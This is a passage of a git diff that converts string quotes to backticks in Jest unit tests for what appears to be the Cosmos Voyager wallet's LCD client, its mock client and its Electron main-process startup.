it(`emits an canceled event`, () => { + let spy = jest.spyOn(wrapper.vm, `$emit`) + wrapper.vm.$el.querySelector(`#send-cancel-btn`).click() + expect(spy).toHaveBeenCalledWith(`canceled`) }) }) diff --git a/test/unit/specs/lcdClient.spec.js b/test/unit/specs/lcdClient.spec.js index 5084c4bc00..3eb2c4665d 100644 --- a/test/unit/specs/lcdClient.spec.js +++ b/test/unit/specs/lcdClient.spec.js @@ -1,66 +1,66 @@ -let axios = require("axios") -let LcdClient = require("renderer/connectors/lcdClient.js") +let axios = require(`axios`) +let LcdClient = require(`renderer/connectors/lcdClient.js`) -describe("LCD Client", () => { +describe(`LCD Client`, () => { let client = new LcdClient() - it("makes a GET request with no args", async () => { + it(`makes a GET request with no args`, async () => { axios.get = jest .fn() - .mockReturnValueOnce(Promise.resolve({ data: { foo: "bar" } })) + .mockReturnValueOnce(Promise.resolve({ data: { foo: `bar` } })) let res = await client.listKeys() - expect(res).toEqual({ foo: "bar" }) + expect(res).toEqual({ foo: `bar` }) expect(axios.get.mock.calls[0]).toEqual([ - "http://localhost:8998/keys", + `http://localhost:8998/keys`, undefined ]) }) - it("makes a GET request with one arg", async () => { + it(`makes a GET request with one arg`, async () => { axios.get = jest .fn() - .mockReturnValueOnce(Promise.resolve({ data: { foo: "bar" } })) + .mockReturnValueOnce(Promise.resolve({ data: { foo: `bar` } })) - let res = await client.getKey("myKey") - expect(res).toEqual({ foo: "bar" }) + let res = await client.getKey(`myKey`) + expect(res).toEqual({ foo: `bar` }) expect(axios.get.mock.calls[0]).toEqual([ - "http://localhost:8998/keys/myKey", + `http://localhost:8998/keys/myKey`, undefined ]) }) - it("makes a POST request", async () => { + it(`makes a POST request`, async () => { axios.post = jest .fn() - .mockReturnValueOnce(Promise.resolve({ data: { foo: "bar" } })) + .mockReturnValueOnce(Promise.resolve({ data: { foo: `bar` } })) let res = await client.storeKey() - expect(res).toEqual({ foo: "bar" }) + expect(res).toEqual({ foo: `bar` }) expect(axios.post.mock.calls[0]).toEqual([ - "http://localhost:8998/keys", + `http://localhost:8998/keys`, undefined ]) }) - it("makes a POST request with args and data", async () => { + it(`makes a POST request with args and data`, async () => { axios.put = jest .fn() - .mockReturnValueOnce(Promise.resolve({ data: { foo: "bar" } })) + .mockReturnValueOnce(Promise.resolve({ data: { foo: `bar` } })) - let res = await client.updateKey("myKey", { abc: 123 }) - expect(res).toEqual({ foo: "bar" }) + let res = await client.updateKey(`myKey`, { abc: 123 }) + expect(res).toEqual({ foo: `bar` }) expect(axios.put.mock.calls[0]).toEqual([ - "http://localhost:8998/keys/myKey", + `http://localhost:8998/keys/myKey`, { abc: 123 } ]) }) - it("makes a GET request with an error", async () => { + it(`makes a GET request with an error`, async () => { axios.get = jest.fn().mockReturnValueOnce( Promise.reject({ response: { - data: "foo" + data: `foo` } }) ) @@ -68,36 +68,36 @@ describe("LCD Client", () => { try { await await client.listKeys() } catch (err) { - expect(err.message).toBe("foo") + expect(err.message).toBe(`foo`) } expect(axios.get.mock.calls[0]).toEqual([ - "http://localhost:8998/keys", + `http://localhost:8998/keys`, undefined ]) }) - it("delete requests have the correct format for data", async () => { + it(`delete requests have the correct format for data`, async () => { axios.delete = (path, config) => { - expect(config).toEqual({ data: { password: "abc" } }) - return Promise.resolve({ data: { foo: "bar" } }) + expect(config).toEqual({ data: { password: `abc` } }) + return Promise.resolve({ data: { foo: `bar` } }) } - await client.deleteKey("test", { password: "abc" }) + await client.deleteKey(`test`, { password: `abc` }) }) - it("does not throw error for empty results", async () => { + it(`does not throw error for empty results`, async () => { axios.get = jest.fn().mockReturnValueOnce( Promise.reject({ response: { - data: "account bytes are empty" + data: `account bytes are empty` } }) ) - let res = await client.queryAccount("address") + let res = await client.queryAccount(`address`) expect(res).toBe(null) }) - it("queries for shares for a validator and delegate", async () => { + it(`queries for shares for a validator and delegate`, async () => { axios.get = jest.fn().mockReturnValueOnce( Promise.resolve({ response: { @@ -107,38 +107,38 @@ describe("LCD Client", () => { } }) ) - client.queryDelegation("abc", "efg") + client.queryDelegation(`abc`, `efg`) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("does not throw error for empty results", async () => { + it(`does not throw error for empty results`, async () => { axios.get = jest.fn().mockReturnValueOnce( Promise.reject({ response: { - data: "account bytes are empty" + data: `account bytes are empty` } }) ) - let res = await client.queryAccount("address") + let res = await client.queryAccount(`address`) expect(res).toBe(null) }) - it("throws error for error other than empty account", async () => { + it(`throws error for error other than empty account`, async () => { axios.get = jest.fn().mockReturnValueOnce( Promise.reject({ response: { - data: "something failed" + data: `something failed` } }) ) try { - await client.queryAccount("address") + await client.queryAccount(`address`) } catch (err) { - expect(err.message).toBe("something failed") + expect(err.message).toBe(`something failed`) } }) - it("checks for the connection with the lcd by performing a simple request", async () => { + it(`checks for the connection with the lcd by performing a simple request`, async () => { client.listKeys = () => Promise.resolve() expect(await client.lcdConnected()).toBeTruthy() @@ -146,47 +146,47 @@ describe("LCD Client", () => { expect(await client.lcdConnected()).toBeFalsy() }) - it("queries for indexed transactions", async () => { - let axios = require("axios") + it(`queries for indexed transactions`, async () => { + let axios = require(`axios`) axios.get = jest .fn() .mockReturnValueOnce(Promise.resolve({ data: [] })) - .mockReturnValueOnce(Promise.resolve({ data: ["abc"] })) - let result = await client.txs("abc") + .mockReturnValueOnce(Promise.resolve({ data: [`abc`] })) + let result = await client.txs(`abc`) expect(axios.get).toHaveBeenCalledTimes(2) client.listKeys = () => Promise.resolve() - expect(result).toEqual(["abc"]) + expect(result).toEqual([`abc`]) }) - it("queries for a delegation summary for a delegator", async () => { + it(`queries for a delegation summary for a delegator`, async () => { axios.get = jest.fn().mockReturnValue({}) - client.getDelegator("abc") + client.getDelegator(`abc`) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("queries for a delegation txs", async () => { + it(`queries for a delegation txs`, async () => { axios.get = jest.fn().mockReturnValue({}) - client.getDelegatorTxs("abc") - client.getDelegatorTxs("abc", ["bonding"]) - client.getDelegatorTxs("abc", ["unbonding"]) + client.getDelegatorTxs(`abc`) + client.getDelegatorTxs(`abc`, [`bonding`]) + client.getDelegatorTxs(`abc`, [`unbonding`]) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("queries for undelegations between a delegator and a validator", async () => { + it(`queries for undelegations between a delegator and a validator`, async () => { axios.get = jest.fn().mockReturnValue({}) - client.queryUnbonding("abc", "def") + client.queryUnbonding(`abc`, `def`) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("queries for a candidate", async () => { + it(`queries for a candidate`, async () => { axios.get = jest.fn().mockReturnValue({}) - client.getCandidate("abc") + client.getCandidate(`abc`) expect(axios.get.mock.calls).toMatchSnapshot() }), - it("queries a validator signing information", async () => { + it(`queries a validator signing information`, async () => { axios.get = jest.fn().mockReturnValue({}) - client.queryValidatorSigningInfo("pubKey") + client.queryValidatorSigningInfo(`pubKey`) expect(axios.get.mock.calls).toMatchSnapshot() }) }) diff --git a/test/unit/specs/lcdClientMock.spec.js b/test/unit/specs/lcdClientMock.spec.js index 4ba6b82e93..15463c94e8 100644 --- a/test/unit/specs/lcdClientMock.spec.js +++ b/test/unit/specs/lcdClientMock.spec.js @@ -1,96 +1,96 @@ import b32 from "scripts/b32" -describe("LCD Client Mock", () => { +describe(`LCD Client Mock`, () => { let client, lcdClientMock beforeEach(() => { jest.resetModules() - lcdClientMock = require("renderer/connectors/lcdClientMock.js") + lcdClientMock = require(`renderer/connectors/lcdClientMock.js`) client = lcdClientMock }) - it("shows a connected state", async () => { + it(`shows a connected state`, async () => { expect(await client.lcdConnected()).toBe(true) }) - it("generates seeds", async () => { + it(`generates seeds`, async () => { let seed = await client.generateSeed() - expect(seed.split(" ").length).toBe(24) + expect(seed.split(` `).length).toBe(24) }) - it("persists keys", async () => { + it(`persists keys`, async () => { let seed = await client.generateSeed() let res = await client.storeKey({ - name: "foo", - password: "1234567890", + name: `foo`, + password: `1234567890`, seed }) b32.decode(res.address) res = await client.listKeys() - expect(res.find(k => k.name === "foo")).toBeDefined() + expect(res.find(k => k.name === `foo`)).toBeDefined() - res = await client.getKey("foo") - expect(res.name).toBe("foo") + res = await client.getKey(`foo`) + expect(res.name).toBe(`foo`) }) - it("updates keys", async () => { + it(`updates keys`, async () => { let res = await client.storeKey({ - name: "foo", - password: "1234567890", - seed_phrase: "seed some thin" + name: `foo`, + password: `1234567890`, + seed_phrase: `seed some thin` }) - res = await client.updateKey("foo", { - name: "foo", - old_password: "1234567890", - new_password: "12345678901" + res = await client.updateKey(`foo`, { + name: `foo`, + old_password: `1234567890`, + new_password: `12345678901` }) await expect( - client.updateKey("foo", { - name: "foo", - old_password: "1234567890", - new_password: "12345678901" + client.updateKey(`foo`, { + name: `foo`, + old_password: `1234567890`, + new_password: `12345678901` }) ).rejects.toMatchSnapshot() - res = await client.getKey("foo") - expect(res.name).toBe("foo") + res = await client.getKey(`foo`) + expect(res.name).toBe(`foo`) }) - it("deletes keys", async () => { + it(`deletes keys`, async () => { let res = await client.storeKey({ - name: "foo", - password: "1234567890", - seed_phrase: "seed some thin" + name: `foo`, + password: `1234567890`, + seed_phrase: `seed some thin` }) await expect( - client.deleteKey("foo", { name: "foo", password: "___" }) + client.deleteKey(`foo`, { name: `foo`, password: `___` }) ).rejects.toMatchSnapshot() - await client.deleteKey("foo", { name: "foo", password: "1234567890" }) - res = await client.getKey("foo") + await client.deleteKey(`foo`, { name: `foo`, password: `1234567890` }) + res = await client.getKey(`foo`) expect(res).toBeUndefined() }) - it("persists a sent tx", async () => { + it(`persists a sent tx`, async () => { let res = await client.txs(lcdClientMock.addresses[0]) expect(res.length).toBe(2) // predefined txs let { address: toAddr } = await client.storeKey({ - name: "bar", - password: "1234567890", - seed_phrase: "seed some thin" + name: `bar`, + password: `1234567890`, + seed_phrase: `seed some thin` }) res = await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "50" + denom: `mycoin`, + amount: `50` } ] }) @@ -100,77 +100,77 @@ describe("LCD Client Mock", () => { expect(res.length).toBe(3) }) - it("queries a tx by it's hash", async () => { + it(`queries a tx by it's hash`, async () => { let tx = await client.tx(lcdClientMock.state.txs[0].hash) expect(tx.height).toBe(1) }) - it("query and update the nonce", async () => { + it(`query and update the nonce`, async () => { let { sequence } = await client.queryAccount(lcdClientMock.addresses[0]) - expect(sequence).toBe("1") + expect(sequence).toBe(`1`) let { address: toAddr } = await client.storeKey({ - name: "bar", - password: "1234567890", - seed_phrase: "seed some thin" + name: `bar`, + password: `1234567890`, + seed_phrase: `seed some thin` }) await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "50" + denom: `mycoin`, + amount: `50` } ] }) let account = await client.queryAccount(lcdClientMock.addresses[0]) - expect(account.sequence).toBe("2") + expect(account.sequence).toBe(`2`) }) - it("queries an account", async () => { + it(`queries an account`, async () => { let data = await client.queryAccount(lcdClientMock.addresses[0]) - expect(data.coins.find(c => c.denom === "mycoin").amount).toBe("1000") + expect(data.coins.find(c => c.denom === `mycoin`).amount).toBe(`1000`) - let res = await client.queryAccount("address_doesnt_exist") + let res = await client.queryAccount(`address_doesnt_exist`) expect(res).toBe(undefined) }) - it("sends coins", async () => { - let toAddr = "tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc" + it(`sends coins`, async () => { + let toAddr = `tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc` let res = await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "50" + denom: `mycoin`, + amount: `50` } ] }) expect(res.check_tx.code).toBe(0) let account = await client.queryAccount(lcdClientMock.addresses[0]) - expect(account.coins.find(c => c.denom === "mycoin").amount).toBe("950") + expect(account.coins.find(c => c.denom === `mycoin`).amount).toBe(`950`) let receiveAccount = await client.queryAccount(toAddr) - expect(receiveAccount.coins.find(c => c.denom === "mycoin").amount).toBe( - "50" + expect(receiveAccount.coins.find(c => c.denom === `mycoin`).amount).toBe( + `50` ) }) - it("sends coins to existing account", async () => { - let toAddr = "tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc" + it(`sends coins to existing account`, async () => { + let toAddr = `tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc` let res = await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "50" + denom: `mycoin`, + amount: `50` } ] }) @@ -178,93 +178,93 @@ describe("LCD Client Mock", () => { res = await client.send(toAddr, { sequence: 2, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "50" + denom: `mycoin`, + amount: `50` } ] }) expect(res.check_tx.code).toBe(0) let account = await client.queryAccount(lcdClientMock.addresses[0]) - expect(account.coins.find(c => c.denom === "mycoin").amount).toBe("900") + expect(account.coins.find(c => c.denom === `mycoin`).amount).toBe(`900`) let receiveAccount = await client.queryAccount(toAddr) - expect(receiveAccount.coins.find(c => c.denom === "mycoin").amount).toBe( - "100" + expect(receiveAccount.coins.find(c => c.denom === `mycoin`).amount).toBe( + `100` ) }) - it("fails to send coins you dont have", async () => { + it(`fails to send coins you dont have`, async () => { let { address: toAddr } = await client.storeKey({ - name: "bar", - password: "1234567890", - seed_phrase: "seed some thin" + name: `bar`, + password: `1234567890`, + seed_phrase: `seed some thin` }) let res = await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "100000" + denom: `mycoin`, + amount: `100000` } ] }) expect(res.check_tx.code).toBe(1) }) - it("fails to send coins from a nonexistent account", async () => { - let toAddr = "tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc" + it(`fails to send coins from a nonexistent account`, async () => { + let toAddr = `tb1424xlh5d8q86tv4dyrdjjckg9h02rmd2c4v7dc` await client.storeKey({ - name: "somekey", - password: "1234567890", - seed_phrase: "seed some thin test lol" + name: `somekey`, + password: `1234567890`, + seed_phrase: `seed some thin test lol` }) let res = await client.send(toAddr, { sequence: 1, - name: "somekey", + name: `somekey`, fees: [], amount: [ { - denom: "mycoin", - amount: "100000" + denom: `mycoin`, + amount: `100000` } ] }) expect(res.check_tx.code).toBe(1) }) - it("fails to send negative amounts", async () => { + it(`fails to send negative amounts`, async () => { let { address: toAddr } = await client.storeKey({ - name: "bar", - password: "1234567890", - seed: "seed some thin" + name: `bar`, + password: `1234567890`, + seed: `seed some thin` }) let res = await client.send(toAddr, { sequence: 1, - name: "default", + name: `default`, fees: [], amount: [ { - denom: "mycoin", - amount: "-50" + denom: `mycoin`, + amount: `-50` } ] }) expect(res.check_tx.code).toBe(1) }) - it("queries for all candidates", async () => { + it(`queries for all candidates`, async () => { let data = await client.getCandidates() expect(data.length).toBeGreaterThan(0) }) - it("queries for one candidate", async () => { + it(`queries for one candidate`, async () => { let validator = await client.getCandidate(lcdClientMock.validators[0]) expect(validator).toBe( lcdClientMock.state.candidates.find( @@ -273,7 +273,7 @@ describe("LCD Client Mock", () => { ) }) - it("queries bondings per delegator", async () => { + it(`queries bondings per delegator`, async () => { let res = await client.queryDelegation( lcdClientMock.addresses[0], lcdClientMock.validators[0] @@ -281,7 +281,7 @@ describe("LCD Client Mock", () => { expect(res.shares).toMatchSnapshot() }) - it("executes a delegate tx", async () => { + it(`executes a delegate tx`, async () => { let stake = await client.queryDelegation( lcdClientMock.addresses[0], lcdClientMock.validators[1] @@ -290,170 +290,170 @@ describe("LCD Client Mock", () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) let updatedStake = await client.queryDelegation( lcdClientMock.addresses[0], lcdClientMock.validators[1] ) - expect(updatedStake.shares).toBe("10") + expect(updatedStake.shares).toBe(`10`) }) - it("executes an unbond tx", async () => { + it(`executes an unbond tx`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) let initialStake = await client.queryDelegation( lcdClientMock.addresses[0], lcdClientMock.validators[1] ) - expect(initialStake.shares).toBe("10") + expect(initialStake.shares).toBe(`10`) res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 2, - name: "default", + name: `default`, delegations: [], begin_unbondings: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - shares: "5" + shares: `5` } ] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) let updatedStake = await client.queryDelegation( lcdClientMock.addresses[0], lcdClientMock.validators[1] ) - expect(updatedStake.shares).toBe("5") + expect(updatedStake.shares).toBe(`5`) }) - it("can not stake fermions you dont have", async () => { + it(`can not stake fermions you dont have`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "100000" } + delegation: { denom: `mycoin`, amount: `100000` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("Not enough coins in your account") + expect(res[0].check_tx.log).toBe(`Not enough coins in your account`) expect(res[0].check_tx.code).toBe(1) }) - it("errors when delegating with incorrect nonce", async () => { + it(`errors when delegating with incorrect nonce`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe('Expected sequence "2", got "1"') + expect(res[0].check_tx.log).toBe(`Expected sequence "2", got "1"`) expect(res[0].check_tx.code).toBe(2) }) - it("errors when delegating with nonexistent account", async () => { + it(`errors when delegating with nonexistent account`, async () => { client.state.keys.push({ - name: "nonexistent_account", - password: "1234567890", + name: `nonexistent_account`, + password: `1234567890`, address: lcdClientMock.addresses[1] }) let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "nonexistent_account", + name: `nonexistent_account`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("Nonexistent account") + expect(res[0].check_tx.log).toBe(`Nonexistent account`) expect(res[0].check_tx.code).toBe(1) }) - it("delegates to multiple validators at once", async () => { + it(`delegates to multiple validators at once`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } }, { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[0], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [] }) expect(res.length).toBe(2) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) - expect(res[1].check_tx.log).toBe("") + expect(res[1].check_tx.log).toBe(``) expect(res[1].check_tx.code).toBe(0) let stake1 = await client.queryDelegation( @@ -469,52 +469,52 @@ describe("LCD Client Mock", () => { expect(stake2.shares).toMatchSnapshot() }) - it("errors when delegating negative amount", async () => { + it(`errors when delegating negative amount`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "-10" } + delegation: { denom: `mycoin`, amount: `-10` } } ], begin_unbondings: [] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("Amount cannot be negative") + expect(res[0].check_tx.log).toBe(`Amount cannot be negative`) expect(res[0].check_tx.code).toBe(1) }) - it("errors when unbonding with no delegation", async () => { + it(`errors when unbonding with no delegation`, async () => { let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [], begin_unbondings: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - shares: "10" + shares: `10` } ] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("Nonexistent delegation") + expect(res[0].check_tx.log).toBe(`Nonexistent delegation`) expect(res[0].check_tx.code).toBe(2) }) - it("ends unbondings", async () => { + it(`ends unbondings`, async () => { await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [], begin_unbondings: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[0], - shares: "5" + shares: `5` } ] }) @@ -524,7 +524,7 @@ describe("LCD Client Mock", () => { ).toHaveLength(1) let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 2, - name: "default", + name: `default`, complete_unbondings: [ { validator_addr: lcdClientMock.validators[0] @@ -532,7 +532,7 @@ describe("LCD Client Mock", () => { ] }) expect(res.length).toBe(1) - expect(res[0].check_tx.log).toBe("") + expect(res[0].check_tx.log).toBe(``) expect(res[0].check_tx.code).toBe(0) expect( lcdClientMock.state.stake[lcdClientMock.addresses[0]] @@ -540,11 +540,11 @@ describe("LCD Client Mock", () => { ).toHaveLength(0) }) - it("fails unbondings if account doesn't exist", async () => { + it(`fails unbondings if account doesn't exist`, async () => { delete client.state.stake[lcdClientMock.addresses[0]] let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, begin_unbondings: [ { validator_addr: lcdClientMock.validators[0] @@ -555,11 +555,11 @@ describe("LCD Client Mock", () => { expect(res[0].check_tx.code).toBe(2) }) - it("fails ends unbondings if account doesn't exist", async () => { + it(`fails ends unbondings if account doesn't exist`, async () => { delete client.state.stake[lcdClientMock.addresses[0]] let res = await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, complete_unbondings: [ { validator_addr: lcdClientMock.validators[0] @@ -570,24 +570,24 @@ describe("LCD Client Mock", () => { expect(res[0].check_tx.code).toBe(2) }) - it("queries for summary of delegation information for a delegator", async () => { + it(`queries for summary of delegation information for a delegator`, async () => { let delegation = await client.getDelegator(lcdClientMock.addresses[0]) expect(Object.keys(delegation)).toEqual([ - "delegations", - "unbonding_delegations" + `delegations`, + `unbonding_delegations` ]) }) - it("queries for an unbonding delegation between a validator and a delegator", async () => { + it(`queries for an unbonding delegation between a validator and a delegator`, async () => { await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [], begin_unbondings: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[0], - shares: "10" + shares: `10` } ] }) @@ -596,49 +596,49 @@ describe("LCD Client Mock", () => { lcdClientMock.validators[0] ) - expect(undelegations.shares).toBe("10") + expect(undelegations.shares).toBe(`10`) }) - it("queries for staking txs", async () => { + it(`queries for staking txs`, async () => { await client.updateDelegations(lcdClientMock.addresses[0], { sequence: 1, - name: "default", + name: `default`, delegations: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[1], - delegation: { denom: "mycoin", amount: "10" } + delegation: { denom: `mycoin`, amount: `10` } } ], begin_unbondings: [ { delegator_addr: lcdClientMock.addresses[0], validator_addr: lcdClientMock.validators[0], - shares: "10" + shares: `10` } ] }) let txs = await client.getDelegatorTxs(lcdClientMock.addresses[0]) expect(txs).toHaveLength(2) - txs = await client.getDelegatorTxs(lcdClientMock.addresses[0], ["bonding"]) + txs = await client.getDelegatorTxs(lcdClientMock.addresses[0], [`bonding`]) expect(txs).toHaveLength(1) - expect(txs[0].tx.value.msg[0].type).toBe("cosmos-sdk/MsgDelegate") + expect(txs[0].tx.value.msg[0].type).toBe(`cosmos-sdk/MsgDelegate`) txs = await client.getDelegatorTxs(lcdClientMock.addresses[0], [ - "unbonding" + `unbonding` ]) expect(txs).toHaveLength(1) - expect(txs[0].tx.value.msg[0].type).toBe("cosmos-sdk/BeginUnbonding") + expect(txs[0].tx.value.msg[0].type).toBe(`cosmos-sdk/BeginUnbonding`) }) - it("queries for validator signing information", async () => { + it(`queries for validator signing information`, async () => { let signing_info = await client.queryValidatorSigningInfo() expect(Object.keys(signing_info)).toContain( - "start_height", - "index_offset", - "jailed_until", - "signed_blocks_counter" + `start_height`, + `index_offset`, + `jailed_until`, + `signed_blocks_counter` ) }) }) diff --git a/test/unit/specs/main.spec.js b/test/unit/specs/main.spec.js index d84b1f0c1f..16955190e3 100644 --- a/test/unit/specs/main.spec.js +++ b/test/unit/specs/main.spec.js @@ -1,45 +1,45 @@ -const { join } = require("path") -const mockFsExtra = require("../helpers/fs-mock").default +const { join } = require(`path`) +const mockFsExtra = require(`../helpers/fs-mock`).default // prevents warnings from repeated event handling process.setMaxListeners(1000) -jest.mock("fs-extra", () => { - let fs = require("fs") +jest.mock(`fs-extra`, () => { + let fs = require(`fs`) let mockFs = mockFsExtra() mockFs.writeFile( - "./app/networks/gaia-6002/config.toml", - fs.readFileSync("./test/unit/helpers/mockNetworkConfig/config.toml", "utf8") + `./app/networks/gaia-6002/config.toml`, + fs.readFileSync(`./test/unit/helpers/mockNetworkConfig/config.toml`, `utf8`) ) mockFs.writeFile( - "./app/networks/gaia-6002/genesis.json", + `./app/networks/gaia-6002/genesis.json`, fs.readFileSync( - "./test/unit/helpers/mockNetworkConfig/genesis.json", - "utf8" + `./test/unit/helpers/mockNetworkConfig/genesis.json`, + `utf8` ) ) mockFs.writeFile( - "./app/networks/gaia-6002/gaiaversion.txt", + `./app/networks/gaia-6002/gaiaversion.txt`, fs.readFileSync( - "./test/unit/helpers/mockNetworkConfig/gaiaversion.txt", - "utf8" + `./test/unit/helpers/mockNetworkConfig/gaiaversion.txt`, + `utf8` ) ) return mockFs }) -let fs = require("fs-extra") +let fs = require(`fs-extra`) -jest.mock("../../../app/src/renderer/connectors/lcdClient.js", () => { +jest.mock(`../../../app/src/renderer/connectors/lcdClient.js`, () => { return () => ({ listKeys: jest.fn().mockReturnValueOnce(Promise.reject()) }) }) -jest.mock("electron", () => { +jest.mock(`electron`, () => { let electron = { app: { on: (event, cb) => { - if (event === "ready") cb() + if (event === `ready`) cb() } }, send: jest.fn(), // NOT ELECTRON, used to test ipc calls to mainWindow.webContents.send @@ -62,11 +62,11 @@ jest.mock("electron", () => { }, ipcMain: { on: (type, cb) => { - if (type === "booted") { + if (type === `booted`) { cb() } - if (type === "hash-approved") { - cb(null, "1234567890123456789012345678901234567890") + if (type === `hash-approved`) { + cb(null, `1234567890123456789012345678901234567890`) } }, removeAllListeners: () => {} @@ -77,19 +77,19 @@ jest.mock("electron", () => { let stdoutMocks = (path, args) => ({ on: (type, cb) => { - if (args[0] === "version" && type === "data") { - cb({ toString: () => "0.13.0" }) + if (args[0] === `version` && type === `data`) { + cb({ toString: () => `0.13.0` }) } // mock gaiacli init approval request if ( - type === "data" && - path.includes("gaiacli") && - args.includes("init") && + type === `data` && + path.includes(`gaiacli`) && + args.includes(`init`) && args.length > 4 ) { - cb("No hash yet") + cb(`No hash yet`) setImmediate(() => { - cb("1234567890123456789012345678901234567890") + cb(`1234567890123456789012345678901234567890`) }) } } @@ -97,7 +97,7 @@ let stdoutMocks = (path, args) => ({ childProcessMock((path, args) => ({ on: (type, cb) => { // init processes always should return with 0 - if (type === "exit" && args.includes("init") && args.length > 4) { + if (type === `exit` && args.includes(`init`) && args.length > 4) { cb(0) } }, @@ -109,153 +109,153 @@ childProcessMock((path, args) => ({ mockConfig() let main -let root = "../../../" -let appRoot = root + "app/" -let testRoot = "./test/unit/tmp/test_root/" +let root = `../../../` +let appRoot = root + `app/` +let testRoot = `./test/unit/tmp/test_root/` let childProcess -describe("Startup Process", () => { +describe(`Startup Process`, () => { Object.assign(process.env, { - LOGGING: "false", - COSMOS_NETWORK: "app/networks/gaia-6002", + LOGGING: `false`, + COSMOS_NETWORK: `app/networks/gaia-6002`, COSMOS_HOME: testRoot, - NODE_ENV: "testing" + NODE_ENV: `testing` }) delete process.env.BINARY_PATH - jest.mock(appRoot + "src/root.js", () => "./test/unit/tmp/test_root") + jest.mock(appRoot + `src/root.js`, () => `./test/unit/tmp/test_root`) // uses package.json from voyager/ root. 